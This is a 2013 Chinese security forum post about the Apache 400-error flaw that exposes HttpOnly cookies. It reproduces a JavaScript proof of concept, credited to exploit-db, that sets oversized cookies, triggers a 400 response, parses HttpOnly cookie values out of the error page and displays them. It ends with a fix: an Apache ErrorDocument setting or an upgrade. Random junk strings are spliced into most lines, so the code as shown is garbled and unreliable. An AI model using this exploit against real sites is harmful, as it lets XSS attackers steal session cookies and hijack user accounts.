找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2446|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 显示全部楼层 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
' E  {3 a, v; e" j$ T( t$ ^. ]8 j: y
/ `3 E1 W7 I  G9 E+ ]. j7 q用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:5 t0 J) h* k! l, g
$ k1 A' M/ W/ F# F4 [  g. n
; y% }  Y" h5 h% U  t0 h
// http://www.exploit-db.com/exploits/18442/, |) m8 J3 U9 K1 g1 f# N* ~1 o
function setCookies (good) {
& ?; E. v0 E. P' o1 i: H0 [// Construct string for cookie value
5 Z' W. t) w1 @6 a1 h7 U% ?var str = "";
5 j! I, n0 z- c6 n- Z* y4 M1 ^for (var i=0; i< 819; i++) {
. R7 I1 Q/ L% L( ?3 C  N# H6 Rstr += "x";
5 H- V9 k/ m; D1 L6 h, i0 c& \5 h}
. @/ T, e  n, ]! x, j7 f// Set cookies6 S2 K* I/ O" F( ~
for (i = 0; i < 10; i++) {
" z8 X7 |: q$ M! u  e// Expire evil cookie
" B  t  T! S, k2 Vif (good) {
. Y1 F4 N9 W. T! k  v% dvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
" c9 d+ A# M( Q. Q7 z/ H}
  Q" k) A2 y9 f// Set evil cookie
4 d7 }% {% r2 n  Melse {
1 r3 V4 ~+ T( }% wvar cookie = "xss"+i+"="+str+";path=/";( m( U1 q6 D; Q( h6 j9 q# `
}
+ [3 ~- }  N- R9 G) R7 o9 \# Kdocument.cookie = cookie;3 R; ]" \( n2 l8 g
}
' o1 V' B% d6 y6 N}
% r) T6 X- k; n1 P) @function makeRequest() {
! S6 N; |) E& Z+ A$ asetCookies();
3 L# I( \0 Z8 k) @. w! Cfunction parseCookies () {9 b! o7 _. ^( u7 }. S" G% e
var cookie_dict = {};
( Z* v9 N% `/ W9 A% g% |# i# M// Only react on 400 status
: X4 S  ~# z% s( M/ |3 I1 {: y  [if (xhr.readyState === 4 && xhr.status === 400) {
/ L1 C0 v/ w; R: M7 t- f9 a// Replace newlines and match <pre> content
" N3 n& C( O6 G5 B; n* cvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);" q% u% N1 a/ j" h+ K
if (content.length) {1 n( t, n$ y9 R* z& c
// Remove Cookie: prefix
* v3 O& P9 d, Y3 d4 W( U* H; m6 lcontent = content[1].replace("Cookie: ", "");! H9 \- J; O) F  ?
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);+ R; L. e$ e0 m% t$ E
// Add cookies to object
: L8 W3 ?; r$ u9 p' s& L" cfor (var i=0; i<cookies.length; i++) {, r* g" v2 U" T+ [" k9 f. g6 D* Y
var s_c = cookies.split('=',2);$ D" R4 |/ K: q3 z
cookie_dict[s_c[0]] = s_c[1];" Q) ^/ [, W% D, W
}2 r4 p' L$ X' s9 ~4 `# h  e3 A
}
# A' C$ B2 _5 B3 l3 m& J$ M// Unset malicious cookies
3 k  c  r  b! X. m8 E2 A/ z- dsetCookies(true);5 A6 H9 K. W0 S& h- s2 h( B' o0 O* n
alert(JSON.stringify(cookie_dict));' s" m9 H& _' A8 I! t6 w9 U" {
}- m$ K; o2 v  m4 i7 t0 t
}& D5 ~! q$ f8 u8 V8 v/ c+ u
// Make XHR request$ K% D! H* W' |0 ^4 J9 D4 G9 v
var xhr = new XMLHttpRequest();3 X8 k8 z' g* k4 O
xhr.onreadystatechange = parseCookies;
  s. I$ ?  o* z- Z3 W. I9 `8 Fxhr.open("GET", "/", true);" C; a1 [# H- J( s
xhr.send(null);
. d1 [% v5 z- J* ]1 L7 v% \- t}3 X, x! j! {9 S" r
makeRequest();* b: B5 W" u) b% V- I+ A! I
' r) X7 s7 d  [* `  |, t9 U
你就能看见华丽丽的400错误包含着cookie信息。
2 G' j( q5 Y( v1 R+ h$ c" }# H' p# j
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#/ n6 e8 W8 h+ Y' N
6 @0 z  f* [% u, e; N
修复方案:0 I, d3 ^* p; {0 ?4 z
+ I, \1 D% s2 K! Y0 J
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下
+ ?! D3 _! Q$ Z. t4 H/ t3 x. i, k7 u2 h  \
In the event of a problem or error, Apachecan be configured to do one of four things,
% Q" p9 \. Y; {. ^, y  d- |- x" y' d9 Q* w+ i% @) a
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
- j6 o- r) s! O3 o  z, L2. output acustomized message输出一段信息
' ^  t! _: T4 g! ^3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 + l- [* ^+ l5 ~7 J0 E( Y
4. redirect to an external URL to handle theproblem/error转向一个外部URL" G# w1 L/ a$ [/ i& k

0 _5 x4 @6 f! I# p5 S3 Q% C) _经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
( i6 E( D- A# a8 R, }6 b$ F9 O: v! i$ q
Apache配置:
  k" U. e. F: a$ o' I
. [( ?5 w. h$ G6 Z  i2 ~; CErrorDocument400 " security test"
# W1 j0 [' x3 {9 E2 L, c
8 ]- h: |# P8 r% j4 f* V当然,升级apache到最新也可:)。
3 H. t' V) j6 g0 `8 J7 P
5 y$ ?# H8 k2 U7 w" Y参考:http://httpd.apache.org/security/vulnerabilities_22.html0 w+ P4 _9 D6 B# u, f
  l& Y+ I4 h/ `  g6 j
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表